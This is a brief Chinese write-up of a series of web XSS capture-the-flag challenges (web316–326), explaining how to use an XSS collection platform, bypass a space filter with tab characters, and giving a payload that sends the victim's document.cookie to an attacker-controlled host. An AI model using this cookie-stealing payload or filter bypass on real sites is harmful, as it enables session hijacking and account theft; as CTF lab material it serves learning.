[huayang]

首先要在这个平台注册一个账号：https://xss.pt/

看到我的项目，点击创建项目

随便写然后下一步

最后查看代码就可以进行攻击啦

web316

标准代码即可

web317—319

web320—322

新增了空格过滤用tap绕过即可

注意tap在记事本里打在vscode上不行

web323-326

<body/onload=document.location='ip?cookie='+document.cookie;>

打vps就行了

[/huayang]

FROM：浅浅淡淡[hellohy]